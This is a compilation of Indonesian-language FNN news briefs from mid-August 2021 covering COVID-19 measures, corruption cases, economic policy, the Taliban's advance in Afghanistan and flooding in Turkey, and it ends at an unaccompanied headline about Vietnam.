Manila, FNN - Filipina akan memperpanjang larangan bagi para pelancong dari India dan sembilan negara lainnya, termasuk Indonesia, hingga akhir Agustus karena kekhawatiran yang ditimbulkan varian COVID-19 Delta, yang penularannya tinggi. Presiden Filipina Rodrigo Duterte menyetujui rekomendasi gugus tugas COVID-19 untuk memperpanjang pembatasan perjalanan dari 16-31 Agustus 2021, menurut keterangan Juru Bicara Kepresidenan Filipina Harry Roque. Larangan perjalanan yang diberlakukan pada 27 April 2021 diperpanjang beberapa kali dan telah diperluas untuk mencakup Pakistan, Bangladesh, Sri Lanka, Nepal, Uni Emirat Arab, Oman, Thailand, Malaysia, dan Indonesia. Otoritas Filipina berupaya untuk menahan lonjakan kasus COVID-19 yang mencapai level tertinggi dalam empat bulan dengan infeksi yang terus berada di atas 12.000 kasus dua hari berturut-turut hingga Kamis (12/8). Rumah sakit di beberapa wilayah pun kapasitasnya nyaris penuh. Wilayah Ibu Kota Manila, yaitu kawasan luas yang terdiri dari 16 kota dan berpenduduk 13 juta orang, tetap berada dalam penguncian yang ketat untuk menahan laju penyebaran varian Delta. Sementara itu, pemerintah menggenjot pelaksanaan vaksinasi. Karena baru 11 persen dari jumlah total 110 juta penduduk yang telah divaksin lengkap, jutaan warga masih berada dalam kondisi rentan terkena COVID-19. Pandemi tersebut telah menyebabkan kematian terhadap 29.500 jiwa di negara Asia Tenggara itu. Seiring dengan lonjakan kasus, banyak rumah sakit di wilayah ibu kota yang telah melaporkan bahwa unit perawatan intensif (ICU), tempat tidur isolasi, dan bangsal mendekati kapasitas penuh. (sws)

BPK Temukan 8 Kejanggalan Penggunaan Anggaran BPIP

Jakarta, FNN - Badan Pemeriksa Keuangan (BPK) RI menemukan delapan hasil pemeriksaan atas pengelolaan belanja pada Badan Pembinaan Ideologi Pancasila (BPIP) tahun anggaran 2019 dan 2020 hingga triwulan III. Dikutip dari laporan BPK, di Jakarta, Jumat, delapan temuan itu yakni perencanaan pengadaan pada 152 paket pengadaan sebesar Rp86 miliar belum sepenuhnya dilaksanakan sesuai ketentuan pengadaan barang dan jasa. Kemudian, realisasi belanja barang persediaan sebesar Rp1,8 miliar tahun 2020 tidak sesuai ketentuan pengadaan barang dan jasa. Metode pengadaan dan dasar pembayaran kegiatan jasa assessment CPNS formasi tahun 2019 tidak sesuai ketentuan. Selanjutnya, kegiatan pengadaan jasa dalam rangka Peringatan Hari Ibu Tahun 2019 tidak sesuai ketentuan. Kelebihan pembayaran atas realisasi belanja sebesar Rp19 juta pada tahun anggaran 2020. Kemudian, realisasi belanja perjalanan dinas paket meeting sebesar Rp520 juta, dan realisasi belanja uang makan pada kegiatan perjalanan dinas sebesar Rp3.268.050 tidak sesuai ketentuan. Perencanaan dan pelaksanaan pengadaan barang alat pengolah data pusdatin tahun anggaran 2020 belum sesuai ketentuan. Terakhir, realisasi belanja sebesar Rp927 juta tidak didukung bukti pertanggungjawaban sesuai ketentuan dan sisa belanja belum disetor ke kas negara. Dalam laporan itu disebutkan pemeriksaan dengan tujuan tertentu (PDTT) atas Pengelolaan Belanja TA 2019 dan 2020 sampai dengan triwulan III pada BPIP dikeluarkan di Jakarta, 30 Desember 2020 merupakan pelaksanaan pemeriksaan pertama, sehingga BPK tidak melaksanakan pemantauan tindak lanjut terhadap laporan hasil PDTT sebelumnya. (sws)

Indef Sarankan Penerima Bantuan Sosial Diperluas

Jakarta, FNN - Ekonom Institute for Development of Economics and Finance (Indef) Abra Talattov menyarankan pemerintah supaya memperluas sasaran penerima bantuan sosial (bansos). Hal itu dilakukan guna menahan pelemahan perekonomian pada kuartal III-2021 akibat pemberlakuan pembatasan kegiatan masyarakat (PPKM). “Kita tahu struktur ekonomi hampir 60 persen ditopang oleh konsumsi masyarakat, konsumsi rumah tangga. Sekarang notabene konsumsi masyarakat dan konsumsi rumah tangga tertekan. Mau tidak mau, pemerintah fokus di perlindungan sosial terutama masyarakat yang belum menjadi sasaran bansos,” kata Abra kepada Antara di Jakarta, Jumat, 13 Agustus 2021. Menurut Abra, selama ini bansos hanya menyasar masyarakat miskin dan rentan miskin. Padahal, masyarakat yang belum menjadi sasaran bansos bisa jadi kehilangan pendapatan karena terdampak PPKM. Oleh karena itu, diperlukan perluasan bansos guna menjaga daya beli mereka. Untuk memenuhi kebutuhan perluasan bansos tersebut, Abra menilai pemerintah bisa melakukan realokasi anggaran di luar kesehatan dan perlindungan sosial. “Dari hasil evaluasi kami terhadap realisasi belanja pemerintah semester satu kemarin masih banyak yang belum terserap. Masih ada yang realisasi belanjanya di bawah 30 persen,” ucap Abra. Dari situ, pemerintah masih bisa memiliki anggaran sehingga tidak perlu menambah defisit atau menarik utang baru. “Daripada menambah defisit, menjadi beban APBN kita lagi nanti,” ujar Abra. (MD).

Komandan Milisi Veteran Mohammad Ismail Khan Ditangkap Taliban, Jerman Mengancam

Kabul, FNN - Kelompok Taliban menangkap komandan milisi veteran Mohammad Ismail Khan pada Jumat, 13 Agustus 2021. Penangkapan dilakukan setelah pejuang Taliban menguasai kota barat Herat. "Khan, yang menjadi pentolan para petempur dalam melawan Taliban dalam beberapa pekan belakangan, bersama dengan gubernur provinsi dan pejabat keamanan diserahkan kepada Taliban melalui sebuah pakta," kata anggota dewan daerah Ghulam Habib Hashimi kepada Reuters. "Taliban sepakat, mereka tidak akan mengancam atau membahayakan pejabat pemerintah yang menyerah," kata Hashimi. Khan merupakan salah satu panglima perang paling terkenal di Afghanistan. Dikenal sebagai Singa dari Herat, ia ikut berperang melawan penjajah Soviet pada 1980-an sekaligus anggota inti Aliansi Utara yang pasukannya didukung AS. Jerman hentikan bantuan Sementara itu, Menteri Luar Negeri Jerman, Heiko Mass pada Kamis (12/8) menegaskan, Jerman akan berhenti menyediakan bantuan ke Afghanistan jika Taliban mengambil alih kekuasaan di negara tersebut dan menerapkan hukum Syariah. "Kami tidak akan memberikan sepeser pun lagi ke Afghanistan kalau Taliban mengambil alih semuanya, memberlakukan hukum Syariah dan mengubah negara itu menjadi khilafah," katanya saat acara pagi yang disiarkan oleh jaringan publik Jerman ARD dan ZDF. Ia menyebutkan, Afghanistan tidak bisa bertahan tanpa bantuan internasional. Jerman memberikan bantuan senilai 430 juta euro (sekitar Rp 7,26 triliun) kepada Afghanistan tahun 2021. "Jumlah yang dijanjikan akan diberikan setiap tahun sampai 2024," ucap Mass, sebagaimana dikutip dari Antara. Pasukan Jerman dikerahkan sebagai bagian dari pasukan NATO di Afghanistan selama hampir 20 tahun hingga Juni 2021. (MD).

KPK Tahan Tersangka Kasus Suap Pajak Dadan Ramdani

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), menahan mantan Kepala Subdirektorat Kerjasama dan Dukungan Pemeriksaan Direktorat Jenderal Pajak Dadan Ramdani (DR). Dadan sebelumnya telah ditetapkan sebagai tersangka kasus dugaan suap terkait dengan pemeriksaan perpajakan tahun 2016 dan 2017 pada Direktorat Jenderal Pajak, Kementerian Keuangan. "Untuk kepentingan penyidikan, dilakukan upaya paksa penahanan oleh tim penyidik untuk 20 hari ke depan terhitung sejak 13 Agustus 2021 sampai dengan 1 September 2021 di Rutan KPK Kavling C1," kata Wakil Ketua KPK Nurul Ghufron saat jumpa pers di Gedung KPK, Jakarta disiarkan melalui akun Youtube KPK, Jumat, 13 Agustus 2021. Ghufron mengatakan, tersangka Dadan akan menjalani isolasi mandiri terlebih dahulu sebagai pemenuhan untuk mengantisipasi penyebaran Covid-19 di lingkungan Rutan KPK. Dalam kasus tersebut, KPK telah menetapkan enam orang sebagai tersangka berdasarkan Surat Perintah Penyidikan pada Februari 2021. Sebagai penerima, yaitu mantan Direktur Pemeriksaan dan Penagihan Direktorat Jenderal Pajak Angin Prayitno Aji (APA) dan Dadan Ramdani (DR). Sedangkan sebagai pemberi, yakni kuasa wajib pajak Veronika Lindawati (VL) serta tiga konsultan pajak, yaitu Ryan Ahmad Ronas (RAR), Aulia Imran Maghribi (AIM), dan Agus Susetyo (AS). Atas perbuatannya, Angin dan Dadan sebagai penerima disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. Sedangkan empat tersangka lainnya sebagai pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat (1) ke-1 KUHP. (MD).

Anak Buah Juliari Batubara Dituntut Delapan Tahun Penjara

Jakarta, FNN - Anak buah mantan Menteri Sosial Juliari P Batubara yaitu Matheus Joko Santoso dituntut 8 tahun penjara ditambah denda Rp 400 juta subsider 6 bulan kurungan. Ia dituntut karena terbukti menjadi perantara penerima suap senilai Rp 32,482 miliar dari 109 perusahaan penyedia bansos sembako Covid-19. "Menuntut supaya majelis hakim pengadilan tindak pidana korupsi (Tipikor) menyatakan terdakwa Matheus Joko Santoso terbukti secara sah dan meyakinkan melakukan perbuatan sebagaimana dakwaan pertama dan kumulatif kedua. Menjatuhkan pidana terhadap terdakwa dengan pidana penjara selama 8 tahun ditambah denda Rp 400 juta subsider 6 bulan kurungan," kata Jaksa Penuntut Umum (JPU) KPK, Ikhsan Fernandi di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Jumat, 13 Agustus 2021. Tuntutan terhadap Matheus Joko didasarkan pada dua dakwaan yaitu dari Pasal 12 huruf b Jo. Pasal 18 UU No. 31 Tahun 1999 sebagaimana diubah UU No. 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat 1 ke-1 KUHP Jo. Pasal 64 ayat 1 KUHP dan Pasal 12 huruf i UU No. 31 Tahun 1999 sebagaimana diubah UU No. 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 64 ayat 1 KUHP. JPU KPK juga meminta agar Matheus Joko membayar uang pengganti. "Menetapkan agar terdakwa membayar uang pengganti kepada negara sebesar Rp 1,56 miliar selambat-lambatnya satu bulan setelah putusan pengadilan memperoleh kekuatan hukum tetap," kata Ikhsan. Jika Matheus Joko tidak membayar uang pengganti tersebut dalam waktu satu bulan setelah putusan pengadilan memperoleh kekuatan hukum tetap, maka harta benda Matheus akan disita oleh jaksa dan dilelang untuk menutupi uang pengganti tersebut. "Dalam hal terpidana tidak mempunyai harta benda yang mencukupi untuk membayar uang pengganti maka dipidana penjara selama 1 tahun," ungkap jaksa sebagaimana dikutip dari Antara. JPU KPK pun memberikan status pelaku yang bekerja sama dengan penegak hukum (justice collaborator). "Terhadap permintaan terdakwa sebagai justice collaborator, sejak penyidikan hingga ke tahap penuntutan, terdakwa konsisten mengakui perbuatannya. Terdakwa juga memberikan kesaksian untuk terdakwa Harry Van Sidabukke, Ardian Iskandar Maddanatja dan Juliari Batubara. Keterangan terdakwa sangat signifikan untuk mengungkap peran yang lebih besar yaitu Juliari Batubara selaku Menteri Sosial yang memerintahkan pengumpulan uang dari penyedia bansos sembako Covid-19," kata jaksa. Selain itu, Matheus Joko dinilai juga sudah memberikan sebagian uang yang diterima dari total Rp 1,56 miliar yaitu sejumlah Rp 176 juta. "Penuntut Umum menyimpulkan justice collaborator dapat diberikan kepada terdakwa Matheus Joko Santoso karena telah memenuhi syarat," ujar jaksa. Namun JPU tetap menyatakan ada sejumlah hal yang memberatkan dalam perbuatan Matheus Joko. Hal yang memberatkan, menurut JPU, perbuatan terdakwa tidak mendukung program pemerintah mewujudkan pemerintahan yang bersih. Perbuatan terdakwa dilakukan saat kondisi darurat bencana Covid-19. "Hal yang meringankan, terdakwa belum pernah dihukum, berterus terang, menyesali perbuatan dan mendapat status sebagai pelaku yang bekerja sama atau justice collaborator," kata Ikhsan. (MD).

BI: Sinergi Kebijakan Fokus ke Sektor Prioritas dan Berdaya Tahan

Jakarta, FNN - Gubernur Bank Indonesia (BI) Perry Warjiyo menyampaikan sinergi kebijakan otoritas, perbankan, dan dunia usaha, saat ini sedang berfokus kepada sektor-sektor prioritas dan berdaya tahan. Adapun sektor-sektor yang dimaksud yakni hortikultura, tanaman perkebunan, pertambangan bijih logam, industri makanan dan minuman, industri kimia farmasi, serta kehutanan dan penebangan kayu. "Sektor-sektor ini yang menjadi prioritas dan sedang kami garap," ujar Gubernur BI Perry Warjiyo dalam diskusi virtual di Jakarta, Jumat. Menurut dia, sektor-sektor tersebut memiliki kontribusi besar terhadap Produk Domestik Bruto (PDB), penyerapan tenaga kerja, dan ekspor, sehingga diprioritaskan untuk saat ini. Selain itu terdapat 15 sektor lainnya yang terus didorong untuk meningkatkan pertumbuhan ekonomi, seperti peternakan, perikanan, industri tekstil dan produk tekstil, industri kulit dan alas kaki, industri barang dari logam dan elektronik, industri mesin dan perlengkapan, industri kayu dan furnitur, serta industri logam dasar. Kemudian, sektor informasi dan telekomunikasi, real estat, jasa pertanian, tanaman pangan, pengadaan air, pengolahan tembakau, dan industri barang galian bukan logam. "Sektor real estat dan otomotif, ini yang baru saja kami berikan stimulusnya," kata Gubernur BI Perry Warjiyo. Sementara terdapat 17 sektor penopang pemulihan yang terus didorong yaitu pertambangan batu bara dan lignit, konstruksi, industri alat angkutan, hotel dan restoran, jasa kesehatan, perdagangan besar dan eceran, logistik, administrasi pemerintahan , serta jasa pendidikan. Selanjutnya, industri karet dan plastik, angkutan darat, angkutan rel, transportasi udara, asuransi dan dana pensiun, jasa penunjang keuangan, jasa perantara keuangan, serta jasa keuangan lainnya. (mth)

Holding BUMN Ultra Mikro Akan Targetkan 44 Juta Pengusaha Ultra Mikro

Jakarta, FNN - Holding BUMN Ultra Mikro yang terdiri dari bank BRI, PT Permodalan Nasional Madani (Persero) atau PNM dan Pegadaian akan menargetkan 44 juta pengusaha segmen ultra mikro. "Saya kira targetnya yakni ada 44 juta pengusaha segmen ultra mikro," ujar Direktur IT dan Digital, Chief Transformation Officer Pegadaian Teguh Wahyono dalam seminar daring di Jakarta, Jumat. Menurut Teguh, nanti bersama PNM, Pegadaian akan masuk ke suatu ekosistem baru yakni holding BUMN ultra mikro. Target PNM dan Pegadaian ke depan bersama dengan induk holding yakni bank BRI adalah bagaimana melayani lebih banyak UMKM ke depan, bukan hanya pembiayaan namun juga bagaimana mendata, membina mereka supaya pelaku UMKM bisa naik kelas. "Yang sekarang sedang berjalan dan dalam waktu dekat akan ada kantor bersama," katanya. Nantinya kantor bersama ini akan bersama-sama ditempati oleh bank BRI, PNM dan Pegadaian. Dengan demikian pelaku UMKM tidak perlu susah-susah mencari kantor PNM dan Pegadaian, cukup datang ke satu tempat itu (kantor bersama) dan mendapatkan tiga layanan sekaligus. Dalam kesempatan yang sama, Direktur IT dan Digital Pegadaian tersebut juga menyampaikan mengenai integrasi data atau data integration pelaku UMKM. Integrasi data tersebut penting dalam rangka mendata UMKM yang ke depan bisa digunakan untuk profiling nasabah dan layanan yang lebih ke depannya. Sebelumnya Direktur Utama PT Bank Rakyat Indonesia Tbk (BRI) Sunarso mengatakan akan melakukan penandatangan akte inbreng saham pemerintah di PT Pegadaian dan PT Permodalan Nasional Madani (PNM) pada 13 September 2021 mendatang, dan setelahnya, Holding Ultra Mikro (UMi) dengan BRI sebagai perusahaan induk pun resmi terbentuk. BRI telah melakukan pendaftaran right issue 28 miliar lembar saham kepada Bursa Efek Indonesia (BEI) pada 26 Juli 2021. Pendaftaran ini dilakukan setelah BRI mendapatkan persetujuan pemegang saham pada Rapat Umum Pemegang Saham Luar Biasa (RUPSLB) pada 22 Juli 2021. Sunarso menerangkan right issue tersebut dilakukan untuk menambah modal BRI dalam rangka pembentukan Holding Ultra Mikro. Langkah tersebut pun sebelumnya telah disetujui oleh Komite Privatisasi dan Dewan Perwakilan Rakyat. Di samping itu, pemerintah juga telah menyetujui langkah BRI dengan penerbitan Peraturan Pemerintah Nomor 73 Tahun 2021 tentang Penambahan Penyertaan Modal Negara ke BRI. (mth)

Tenaga Kesehatan di Minahasa Tenggara Divaksin Moderna

Minahasa Tenggara, Sulut, FNN - Tenaga kesehatan di Kabupaten Minahasa Tenggara, Sulawesi Utara, mulai divaksin moderna yang merupakan vaksin dosis ketiga. "Kami sudah memulai vaksinasi dosis ketiga bagi para tenaga kesehatan di semua Puskesmas maupun yang ada di rumah sakit," kata Kepala Dinas Kesehatan Kabupaten Minahasa Tenggara Helni Ratuliu di Ratahan, Jumat. Dia mengungkapkan, jumlah nakes di seluruh fasilitas kesehatan yang mendapatkan vaksin moderna ini berjumlah 325 orang. Vaksin tersebut kata dia, diperoleh langsung dari Pemerintah Provinsi Sulawesi Utara dengan jumlah sesuai dengan nakes. "Vaksin moderna dosis ketiga ini memang untuk saat ini dikhususkan bagi para tenaga kesehatan karena tugas kerja mereka dalam penanganan COVID-19," jelasnya. Dia menambahkan, dengan adanya tambahan suntikkan vaksin tersebut diharapkan kekebalan tubuh dari para nakes dapat lebih baik. "Ini komitmen dari pemerintah untuk memberikan perlindungan maksimal bagi para tenaga kesehatan," ujarnya. Ia pun berharap tidak banyak lagi nakes di Minahasa Tenggara yang terpapar, akibat terinfeksi virus COVID-19 karena sedang melaksanakan tugasnya. (mth)

Faisal Basri: Hatta Gagas Koperasi untuk Hadapi Kaum Kapitalis

Jakarta, FNN - Ekonom Faisal Basri menyatakan, Proklamator RI Mohammad Hatta menggagas istilah koperasi sebagai persekutuan cita-cita, semacam persekutuan modal oleh rakyat demi menghadapi kaum kapitalis. “Menurut Hatta, koperasi merupakan gerakan menghimpun kekuatan rakyat yang berserakan dan tidak terorganisir di masa penjajahan untuk menghadapi kaum kapitalis," kata Faisal Basri dalam Talkshow "Pekan Bung Hatta" yang ditayangkan di Channel Youtube BKNP PDI Perjuangan, Jumat. Dalam dialog yang dipandu Aris Setiawan Jodi itu, Faisal menjelaskan, konsep ekonomi gagasan Hatta berasal dari bahan bacaan buku-buku dan pengalaman selama pengembaraan intelektualnya di dalam maupun luar negeri. Menurut alumnus Fakultas Ekonomi dan Bisnis Universitas Indonesia itu, gagasan ekonomi Hatta merupakan pemikiran alternatif dari kapitalisme pasca revolusi industri yang melihat sendiri betapa terjadi penghisapan para pemilik modal. Kala itu, lanjut dia, terjadi eksploitasi alam di Eropa sehingga muncul gerakan-gerakan untuk melawannya dari berbagai pemikiran. Seperti marxisme, sosialisme, dan pemikiran ekonomi yang disebut institusionalis. "Saat belajar di Eropa, Bung Hatta melihat bahwa kondisi ekonomi di Indonesia juga merupakan perpanjangan tangan dari kapitalisme global. Jadi, pemikiran ini telah digagas Bung Hatta sebelum kemerdekaan Indonesia," paparnya. Disebutkannya, pemikiran-pemikiran Hatta dikirim dari Belanda dalam bentuk tulisan yang dimuat di media perjuangan. Lalu berbaur dengan muatan lokal semangat dari Ki Hajar Dewantara dan semangat kebangkitan nasional dari Syarikat Dagang Islam. "Dari sana lahirlah pemikiran Bung Hatta yang sudah membumi untuk mempersiapkan Indonesia merdeka," ungkap Faisal. Menurutnya, ada tiga pilar dalam membangun koperasi yang luas. Pilar pertama, di hulu sebagai produksi yang dipegang oleh petani. Kedua, pilar perdagangan rakyat yang diwakili oleh syarikat dagang rakyat. Adapun pilar ketiga adalah lembaga keuangan rakyat, yang saat produksi dan keuntungan meningkat, menjadi tempat untuk menaruh uang atau modal. "Sebab jika uang ini ditaruh di bank, maka ia akan mengalir ke kota dan rakyat tetap akan kekurangan darah," tuturnya. Dia menambahkan, Hatta telah membidani lahirnya kongres koperasi pertama di Indonesia di tengah gagasan dan perdebatan antara tokoh bangsa saat itu. Faisal juga menilai bahwa kelebihan Bung Hatta, adalah mampu untuk memahami konteks sejarah dan sosiologi masyarakat Indonesia. Sehingga ia tidak ambil mentah-mentah apa yang didapat dari Barat. Ini seperti yang pernah diungkapkan oleh Bung Karno. "Nasionalis yang sejati, yang nasionalismenya itu bukan timbul semata-mata suatu copy atau tiruan dari nasionalisme Barat, akan tetapi timbul dari rasa cinta akan manusia dan kemanusiaan," kutip Faisal. Faisal menyimpulkan, ide-ide Bung Hatta berperan besar dalam landasan cetak biru perekonomian bangsa. “Kalau bisa dikatakan, pisau analisa ekonomi Indonesia berasal dari tulisan-tulisan Bung Hatta," kata Faisal. Rangkaian Talk Show "Pekan Bung Hatta" merupakan kegiatan yang diinisiasi oleh Badan Kebudayaan Nasional Pusat Partai Demokrasi Indonesia (PDI) Perjuangan dalam mengenalkan sepak terjang, kisah dan inspirasi Bung Hatta kepada masyarakat luas. (mth)

Dua Pelajar SD Terpilih Ikuti Program Sehari Jadi Wali Kota Padang

Padang, FNN - Dua pelajar SD di Kota Padang, Sumatera Barat, terpilih mengikuti program Sehari Menjadi Wali Kota Padang menyisihkan 200 pelajar lainnya dalam sayembara yang digagas pemerintah setempat. "Dua pelajar tersebut, yaitu Delvin Adinata murid SD 3 Pertiwi dan Lutfhia Dwi Wisra murid SD Negeri 23 Marapalam yang berkesempatan akan berperan layaknya Wali Kota Padang pada 17 Agustus 2021," kata Wali Kota Padang Hendri Septa di Padang, Jumat. Delvin dan Luthfia merupakan dua kandidat yang berhasil unggul mengalahkan delapan nominator lain yang diseleksi dari 202 pelajar yang ikut menyemarakan sayembara ini. Keputusan pemenang sayembara disampaikan usai mewawancarai 10 nominator secara virtual langsung oleh Wali Kota Padang Hendri Septa. Menurutnya memilih 10 nominator merupakan keputusan yang berat dan pihaknya memilih anak dengan memperhatikan karakter, cara berbicara dan cara mereka menjawab pertanyaan. Kedua pelajar tersebut akan mendampingi Wali Kota Hendri Septa selama sehari penuh pada 17 Agustus 2021 untuk merasakan pengalaman bagaimana menjadi wali kota. Sementara Kepala Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk dan Keluarga Berencana Kota Padang Editiawarman menyampaikan kedua pelajar tersebut akan didandani seperti wali kota. "Mereka akan memakai pakaian dinas, menaiki kendaraan dinas BA 1 A, serta ikut mendatangi masyarakat bersama Wali Kota Padang Hendri Septa," ujarnya. Kedua pelajar tersebut juga diundang makan malam bersama keluarga besar Wali Kota Hendri Septa dan dibolehkan membawa orang tua dan gurunya untuk makan malam bersama di Rumah Dinas Wali Kota Padang. “Keduanya juga mendapat hadiah berupa tabungan dari Wali Kota Padang serta Ketua TP-PKK Kota Padang. Sedangkan seluruh peserta yang telah mengirimkan tulisannya juga mendapat sertifikat,” katanya. Sebelumnya sebanyak 202 pelajar telah mengirimkan karya tulis dalam sayembara Sehari Menjadi Wali Kota Padang. Inisiator sayembara tersebut sekaligus salah seorang juri lomba, Wanda Leksmana menyampaikan karya tulis itu berisi keinginan anak jika menjadi wali kota. Peserta yang mengikuti sayembara merupakan siswa kelas V dan kelas VI Sekolah Dasar (SD) atau setingkat MI. Dalam penjurian tahap awal, telah ditetapkan 10 orang nominator. Kesepuluh anak itu menyingkirkan 192 peserta lain. (mth)

Korban Tewas Akibat Banjir di Turki Bertambah Jadi 27 Orang

Istambul, FNN - Banjir bandang yang melanda kota-kota di wilayah Laut Hitam, Turki telah menewaskan 27 orang, kata badan manajemen darurat negara itu pada Jumat, yang merupakan bencana alam kedua yang melanda Turki selama Agustus 2021. Banjir menyebabkan kekacauan di provinsi utara Turki tepat ketika pihak berwenang menyampaikan bahwa kebakaran hutan yang berlangsung selama dua minggu di wilayah pesisir selatan Turki telah dikendalikan. Sebanyak 25 orang tewas akibat banjir di provinsi Kastamonu dan dua orang lainnya tewas di Sinop, kata Direktorat Penanggulangan Bencana dan Darurat Turki (AFAD). Pencarian orang-orang yang hilang terus berlanjut di provinsi Bartin. Kebakaran, yang menewaskan delapan orang dan menghancurkan puluhan ribu hektar hutan, melanda pada pekan yang sama ketika panel PBB mengatakan bahwa pemanasan global hampir tidak terkendali, dan cuaca ekstrem akan menjadi lebih parah. Lebih dari 1.700 orang dievakuasi dari daerah yang terkena dampak, beberapa dengan bantuan helikopter dan kapal, kata AFAD. Rekaman video yang dibagikan oleh Kementerian Dalam Negeri Turki menunjukkan beberapa helikopter menurunkan para personel penjaga pantai ke atap bangunan untuk menyelamatkan orang-orang yang terdampar saat air banjir menyapu jalan-jalan. Banjir bandang di Turki telah merusak infrastruktur listrik dan menyebabkan listrik mati di sekitar 330 desa. AFAD menambahkan bahwa lima jembatan runtuh dan banyak jembatan lainnya rusak sehingga terjadi penutupan jalan, dan beberapa bagian jalan juga tersapu. Tayangan televisi menunjukkan banjir menyeret puluhan mobil dan tumpukan puing di sepanjang jalan. (mth)

Sebanyak 121.689 Pasien COVID-19 di RSD Wisma Atlet Telah Sembuh

Jakarta, FNN - Sebanyak 121.689 pasien COVID-19 di Rumah Sakit Darurat (RSD) Wisma Atlet Kemayoran, tower 4, 5, 6 & 7, Jakarta, dilaporkan telah sembuh hingga 13 Agustus 2021. Kepala Penerangan Kogabwilhan I Kolonel Marinir Aris Mudian, dalam keterangan persnya, Jumat, mengatakan jumlah pasien sembuh merupakan akumulasi dari pencatatan sejak 23 Maret 2020 lalu. "Rekapitulasi sejak 23 Maret 2020-13 Agustus 2021, pasien terdaftar sebanyak 124.808 pasien, sembuh 121.689 orang," kata dia. Lebih lanjut, rekapitulasi pasien sejak 23 Maret 2020 untuk pasien yang berada di tower 4, 5, 6, dan 7 didata terjadi penambahan angka kesembuhan sebesar 242 orang jika dibandingkan dengan angka kesembuhan sebelumnya. Kemudian, sebanyak 984 pasien dirujuk ke rumah sakit lain, sedangkan untuk data yang meninggal dunia dicatat sebanyak 585 orang. RSDC Wisma Atlet Kemayoran tower 4, 5, 6 dan 7, pada laporan 13 Agustus 2021 ini mendata terdapat sebanyak 1.550 pasien perawatan COVID-19. Jumlah tersebut berkurang 110 pasien jika dibandingkan laporan sebelumnya yang berjumlah 1.660 orang. Lebih lanjut, RSDC terhitung mulai 28 Juni 2021 juga merawat pasien perawatan COVID-19 di RSDC Rusun Nagrak atau tower 1, 2 dan 3. Data hingga 13 Agustus 2021 menginventarisasi, pasien terdaftar sebanyak 9.341 orang, pasien selesai isolasi 8.788 orang, pasien dirujuk ke RS lain 86 orang dan tidak ada data pasien meninggal dunia. RSDC Rusun Nagrak merawat 47 orang pasien perawatan COVID-19. Angka itu berkurang 8 orang jika dibandingkan dengan laporan sebelumnya yang juga berjumlah 55 orang. RSDC terhitung mulai 18 Juni 2021 juga merawat pasien perawatan COVID-19 di RSDC Rusun Pasar Rumput. Data 13 Agustus 2021 menginventarisasi pasien rawat inap berjumlah 182 orang atau berkurang 33 pasien jika dibandingkan dengan laporan sebelumnya. Sementara itu, RS Khusus Infeksi COVID-19 di Pulau Galang merawat sebanyak 182 pasien, 182 pasien berstatus positif COVID-19, data kali ini tidak ada pasien suspek terdaftar di RSKI. Jumlah pasien rawat inap berkurang 43 orang. Atau, pasien positif berkurang 43 orang jika dibandingkan dengan laporan sebelumnya yang berjumlah 225 orang. Pasien yang terdaftar di rumah sakit itu sejak 12 April 2020 yakni sebanyak 15.421 orang, sebanyak 7.900 orang pasien sembuh, 7.297 pasien suspek yang selesai perawatan, pasien dirujuk ke rumah sakit lain 42 orang, dan tidak ada pasien meninggal di RSD Pulau Galang. (mth)

Anies Jelaskan Data Kematian Corona Jakarta Dilaporkan Transparan

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan menegaskan, data kematian akibat virus corona maupun dimakamkan menggunakan protokol Covid-19 dilaporkan secara transparan kepada pihak terkait. “Kami di DKI Jakarta tidak pernah mengurangi atau mengubah data,” kata Anies Baswedan di Jakarta, Jumat, 13 Agustus 2021. Menurut dia, kematian selama pandemi selalu dilaporkan apa adanya. Sebab, menurut organisasi kesehatan dunia (WHO), semua data kematian perlu dicatat dan dilaporkan. Anies menambahkan sejak awal pandemi ketika masih ada keterbatasan kewenangan dan kapasitas pemeriksaan, pihaknya menggunakan data pelayanan pemakanan agar bisa mendeteksi bahwa wabah itu sudah masuk ke Jakarta. “Prinsip kami di DKI Jakarta dalam menangani semua masalah, termasuk Covid-19, menggunakan ilmu pengetahuan, menggunakan data yang benar dan akurat, serta transparansi data,” ucapnya sebagaimana dikutip dari Antara. Mantan Menteri Pendidikan dan Kebudayaan itu mengungkapkan soal data kematian tersebut saat mengunggah melalui akun Instagram pribadinya mengenai penamaan blok pemakaman di Tempat Pemakaman Umum (TPU) Rorotan, Jakarta Utara. Pihaknya menamai blok pemakaman Syuhada untuk warga beragama Islam. Bagi warga yang beragama Kristen dan Katolik, pihaknya berkonsultasi dengan forum kerukunan umat beragama (FKUB) yang mewakili dua agama itu dengan menyampaikan nama Santo Yosef Arimatea. “Kini blok makam itu terpampang jelas. Biarkan sanak saudara, anak-cucu yang di masa depan, datang untuk berziarah akan menemui nama-nama mulia di tempat peristirahatan terakhir nenek-kakek dan leluhurnya,” ucapnya. Anies menjelaskan penamaan blok makam itu dilakukan sesuai dengan pesan kemuliaan dan bukan diasosiasikan sebagai korban Covid-19 dan bukan sekedar diberi nomor blok. "Sering kami utarakan bahwa yang baru dikuburkan itu Syahid. Insya Allah dimuliakan dan berada di tempat mulia di sisi Allah SWT,” katanya. Berdasarkan data Pemprov DKI Jakarta yang dihimpun melalui corona.jakarta.go.id, hingga Kamis (12/8), jumlah warga meninggal dunia di DKI Jakarta akibat Covid-19 dan dimakamkan sesuai protokol Covid-19 mencapai 12.908 orang. Adapun persentase tingkat kematian di DKI Jakarta mencapai 1,5 persen dari total kematian di Indonesia mencapai 113.664 orang. (MD).

Vietnam Perpanjang Pembatasan COVID di Ho Chi Minh

